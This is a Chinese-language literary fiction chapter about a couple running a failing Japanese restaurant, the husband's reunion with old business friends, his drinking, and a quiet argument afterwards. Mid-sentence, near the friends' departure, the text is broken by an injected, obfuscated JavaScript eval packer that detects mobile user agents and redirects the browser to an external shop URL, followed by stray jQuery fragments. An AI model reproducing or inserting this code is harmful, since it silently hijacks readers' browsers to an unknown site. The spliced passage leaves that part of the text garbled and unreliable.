那几个人第一次重新出现在店里的时候，林深差点没认出来。不是完全不认识，只是很久没见了。他们都是陆沉以前做面料生意时的朋友。那时候他们经常一起吃饭、喝茶、谈生意，手机里全是客户、货款、工厂、布料、订单。陆沉那几年最忙，也最像陆沉——意气风发，说话快，决定快，笑起来也快。
林深第一次见那帮人的时候还觉得他们吵。几个男人凑在一起，话题从布料价格跳到车，又从车跳到哪家餐厅好吃，再跳到谁最近又亏了一笔。每个人都像有一肚子故事，说话的时候手势很大，声音也大，仿佛整张桌子都不够他们放。那时候陆沉坐在人群中间，永远接得住所有话。别人开玩笑他能接，别人吹牛他能拆，别人倒酒他能挡，别人说起生意他也能聊得头头是道。他那时候很像一个真正有未来的人。
后来他们就很少出现了。不是谁刻意断了联系，只是人一旦从一个圈子里掉下来，很多关系就会自动变淡。以前天天有人约饭，后来没人再问；以前手机一直响，后来安静得像没信号；以前别人叫他陆总，后来见面只说一句好久不见。
那天下午，雨刚停，空气里有一股潮湿的味道。林深正在吧台整理账本，来福趴在门口晒太阳，阳光从云缝里漏下来落在它背上，像一块慢慢变暖的毛毯。门被推开的时候，风铃响了一声。
“陆沉！”
声音很大，像把整个安静的下午砸开了。陆沉正在后厨，听见声音探出头，那一瞬间他明显愣了一下。
门口站着三个人。一个姓周，大家都叫他老周，以前做面料的时候和陆沉走得最近，个子不高，肚子比以前大了一圈，笑起来眼睛眯成一条缝。另一个姓陈，戴眼镜，话少但喝酒最凶。还有一个林深不太熟，只记得以前见过几次，好像也做服装相关的生意。
老周一进门就张开手：“哎哟，陆老板，怎么瘦成这样了？”
陆沉从后厨走出来擦了擦手，笑了一下：“你胖了。”
“废话，我现在日子好过。”
老周走过去和他抱了一下，拍得陆沉后背砰砰响。林深站在吧台后面看着陆沉脸上的表情慢慢变了——不是最近那种疲惫的笑，也不是敷衍客人的笑，那一瞬间他像是忽然被人从水底拉上来，重新吸了一口气。
“嫂子。”老周看见林深，立刻笑着打招呼。
林深点点头：“好久不见。”
“是好久没见，你比以前还漂亮。”
“少来。”
“真的。”老周转头对陆沉说，“你小子命真好。”
陆沉笑骂了一句：“滚。”
来福听见热闹从门口跑过来。老周一看见它立刻蹲下：“哎哟，这不是来福吗？”来福歪着头看他，似乎在努力辨认。老周伸手摸它脑袋：“还记不记得我？以前我喂过你牛肉。”来福听见牛肉两个字尾巴立刻摇起来。
林深说：“它谁喂它都记得。”
“这狗现实。”老周笑得不行，“跟人一样。”
他们坐下来以后，陆沉整个人都活了。他亲自拿菜单，亲自倒茶，亲自去后厨安排菜。林深站在旁边看着，忽然有点恍惚——她已经很久没见过这样的陆沉了，动作快，眼睛亮，说话带着笑，甚至连背都比平时挺直一点。
老周坐在靠窗的位置拿着菜单看了一圈：“你这装修可以啊，比我想象中高级。”
陆沉笑：“废话，林深弄的。”
老周转头看林深：“我就说嘛，你哪有这审美。”
陆沉拿茶壶的手停了一下：“你礼貌吗？”
“我很客观。”
老周又笑。
店里忽然变得热闹，不是客人多的那种热闹，是熟人之间的热闹。话题飞来飞去——一会儿讲以前哪个客户最难缠，一会儿讲哪家工厂老板跑路，一会儿讲谁现在转行做直播卖货。林深一边上菜一边听他们聊天。这些事她以前听过很多，那几年陆沉回家总会讲一点——今天哪里谈成一单，明天哪里出了问题，哪个客户喜欢拖款，哪个老板表面大方实际抠得要命。她不一定都听懂，但她喜欢听陆沉讲，因为那时候的陆沉声音里有东西，有冲劲，有笃定，有一种“就算今天不好，明天也能翻回来”的劲儿。后来这种劲儿越来越少，少到林深有时候都快忘了，他曾经是那样的人。
菜一道一道上——刺身，烤物，寿喜锅，炸物。陆沉甚至把菜单上最贵的几样都安排了。林深站在收银台后面看着出菜单，心里轻轻动了一下。老周他们点的菜不多，陆沉加的菜倒不少。她知道这顿大概率不会收钱。以前也是这样，朋友来，熟人来，陆沉说一句“算了”，那时候林深不在乎，甚至觉得挺好，男人嘛，朋友面前要面子，再说那时候他们确实不缺。可现在不一样，现在每一份食材都要算，每一瓶酒都要算，每一次免单都像从本来就不多的钱里又挖走一块。林深不是舍不得，她只是突然觉得累。她在雨里发宣传单，她为几百块印刷费纠结，她把受潮的宣传册一张张整理好，而陆沉坐在那里一边笑一边说“这个也上一份”，好像钱又变回了以前那个不需要被看见的东西。
饭吃到一半，老周说：“喝点？”
林深手上的动作停了一下。陆沉也顿了一下，然后笑了笑：“喝一点。”
“这才对嘛。”老周拍桌子，“以前你可是我们里面最能喝的。”
老陈也笑：“他以前喝完还能去谈单。”
陆沉说：“别吹了。”
“我吹了吗？你自己说，绍兴那次是不是你把客户喝趴下的？”
陆沉笑了一下，没有否认。
老周转头对林深说：“嫂子你不知道，他以前真的猛。我们那时候出去，谁见了不叫一声陆总。”
陆总。这个称呼在空气里晃了一下。林深低头整理杯子，像没听见。陆沉倒酒的时候动作很自然，自然得像回到过去。玻璃杯碰在一起，发出清脆的声音。
一开始气氛真的很好。他们聊以前，聊生意，聊车，聊谁现在混得不错谁又欠了一屁股债。陆沉笑得很开心，老周说一句他接一句，老陈说个冷笑话他还能补一刀。林深坐在吧台后面隔着半个店看他，忽然有种错觉——好像那几年没有过去，好像陆沉的公司没有出问题，好像店里的账本没有越来越难看，好像他们只是开了一家喜欢的店，朋友来吃饭，大家开心。
来福也很开心。它在桌子下面绕来绕去，试图寻找掉下来的食物。老周偷偷喂了它一小块肉，被林深看见以后立刻举手投降：“就一块。”
林深说：“它晚上拉肚子你带回家。”
老周低头对来福说：“听见没，你妈不让吃。”
来福摇尾巴，完全不觉得自己有错。大家都笑。那一刻林深也笑了。笑完以后，她又很快看向陆沉手里的杯子。
第二杯。第三杯。第四杯。一瓶清酒很快见底。
老周说：“再来一瓶？”
陆沉没有立刻回答，他看了林深一眼，那一眼很短，短到老周他们根本没有发现。林深也看着他，她没有说话。陆沉转回头笑着说：“再来。”
林深心里沉了一下。她站起来去拿酒，冰柜门打开的时候冷气扑到脸上，她看着里面一排酒瓶忽然不想伸手。不是因为这瓶酒多少钱，而是因为她知道酒后面是什么——声音变大，情绪变重，眼神变陌生，来福开始躲，空气开始紧，然后某一句话说错，某个动作不对，整个晚上就会失控。她拿出酒，关上冰柜，把酒放到桌上。
老周拍手：“嫂子大气。”
林深笑了一下，没说话。
酒继续喝。朋友越聊越兴奋，陆沉也越来越像以前那个陆沉。他说起当年跑客户，说起第一辆车，说起有一年冬天去外地看面料冻得手都快没知觉。老周在旁边补充，老陈拆台，几个人笑成一团。林深坐在吧台后面忽然觉得很荒唐——她一边希望陆沉能这样笑，一边又害怕他这样笑，因为这个笑是酒给的，不是生活给的。
晚上十点以后店里没别的客人了。夏禾今天没有来，她最近大多数晚上都不来。来福原本趴在桌子底下，后来不知道什么时候起身慢慢走到林深脚边。
林深低头看它：“怎么了？”
来福没有摇尾巴，只是把身子靠在她腿边。林深伸手摸它后背，它的毛很暖，也很安静。
又过了一会儿，陆沉说话声音开始变大。不是吼，只是比平时高。老周说：“你这店其实可以再撑撑，实在不行以后转型呗。”
陆沉笑了一声：“转什么？”
“做简餐啊，科技园嘛，午餐为主。”
“那我开日料干嘛？”
老周摆摆手：“生意嘛，活着最重要。”
陆沉没接。他端起杯子喝了一口，林深看见他的喉结动了一下，也看见他嘴角那点笑慢慢落下去。那一瞬间空气变了一下，很轻，但她感觉到了。朋友们没感觉到，他们还在聊，聊得热闹，聊得开心，聊得像这家店明天就能起死回生。
十一点多老周他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691730|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
终于起身。陆沉坚持送到门口。老周拍着他的肩膀说：“有什么事说一声，兄弟还在。”
陆沉笑着点头：“知道。”
老周又说：“别把自己弄这么沉，你以前不是这样。”
陆沉没说话，老周也没再说。几个人走远以后店里一下子空下来，那种热闹像潮水一样退了，退得干干净净。桌上剩着酒杯、盘子、烟灰、没吃完的菜，还有一地纸巾。来福没有再靠近那张桌子，它躲在吧台后面，只露出半个脑袋。陆沉站在门口点了一根烟。
林深开始收拾桌子。她把杯子一个个拿走，把盘子叠起来，把没吃完的刺身倒掉。倒掉的时候她忽然停了一下——那些东西都不便宜，每一份都是她白天算过成本的东西，现在全被倒进垃圾桶。她看着垃圾桶里混在一起的鱼肉、酱油、柠檬片，忽然觉得恶心。不是食物恶心，是那种无力感。她在前面一点一点补，他在后面一口一口漏。
陆沉走进来的时候身上带着烟味和酒味：“不用收了，明天再弄。”
“明天还有明天的事。”
“你非得现在弄？”
“那你弄？”
陆沉看着她，眼睛有点红，不是哭，是喝酒以后那种红。“你今天怎么了？”
林深笑了一下：“我怎么了？”
“从刚才开始就摆脸色。”
“我没有。”
“你有。我只是觉得你们点太多了。”
陆沉沉默了一秒，然后笑了。那笑让林深不舒服。“几个朋友来吃顿饭，你也要算？”
“不是算。”
“那是什么？”
“店现在什么情况你不知道吗？”
陆沉脸上的笑慢慢没了：“我不知道？”
林深把手里的盘子放进水池，声音有点响：“你知道你还这样？”
店里安静下来。空调还在吹，水池里盘子碰在一起发出细碎的声音。陆沉站在原地，过了很久才说：“我今天难得高兴一下。”
林深忽然说不出话。这句话像一块石头轻轻放在桌上，却压得人喘不过气。她知道他说的是真的，他今天是真的高兴，那几个朋友一来他整个人都亮了，像从前那个陆沉短暂回来过。可她也是真的累——她白天忙店，算成本，发宣传单，看营业额，晚上还要看着他喝酒，看着他一杯一杯往下咽，一边害怕他不高兴，一边害怕他太高兴。她站在那里，忽然觉得自己像被夹在两扇门中间，哪边都动不了。
陆沉低头点烟，火机响了一声。林深看见来福往后缩了一下，很轻，轻到如果不是她一直看着根本不会发现。她忽然心里一紧：“别在店里抽了。”
陆沉抬头：“什么？”
“味道太大。”
“刚刚那么多人抽你怎么不说？”
“现在没人了。”
“所以现在说我？”
林深闭了闭眼：“我不是这个意思。”
“那你什么意思？”
他的声音不算很大，但里面已经有了刺。林深很熟悉这种刺，它不会立刻扎下来，它只是先露出来，提醒你后面还有更疼的东西。她低头继续收拾：“算了。”
“你又算了。”陆沉笑了一下，“你现在是不是特别看不起我？”
林深手上的动作停住：“你又来了。”
“我怎么了？”
“没人说看不起你。”
“你脸上写着呢。”
“陆沉。”
“怎么？”
“你喝多了。”
这句话一出来，空气彻底变了。陆沉盯着她，很久没说话。来福从吧台后面慢慢退到角落。林深没有回头，但她知道——她知道来福退了，也知道自己后背开始发紧。
过了几秒，陆沉忽然把烟按灭：“行，我喝多了。”他拿起外套转身往外走，门被推开，风铃响了一声，又重重落回去。
林深站在原地。水池里还堆着盘子，桌上还有没擦干净的酒渍，烟灰缸满了，垃圾桶里是倒掉的刺身。来福过了很久才从角落里走出来，它没有像平时一样摇尾巴，只是走到林深脚边把脑袋轻轻靠在她腿上。林深蹲下来抱住它，什么都没说。
那天晚上没有发生更严重的事。陆沉只是出去抽烟，半个小时后回来，洗澡，睡觉。没有砸东西，没有吵到天亮，也没有动手。可林深很久以后才明白，很多危险第一次出现的时候并不会真正爆炸，它只是让你看见火星，然后你告诉自己没事，只是火星。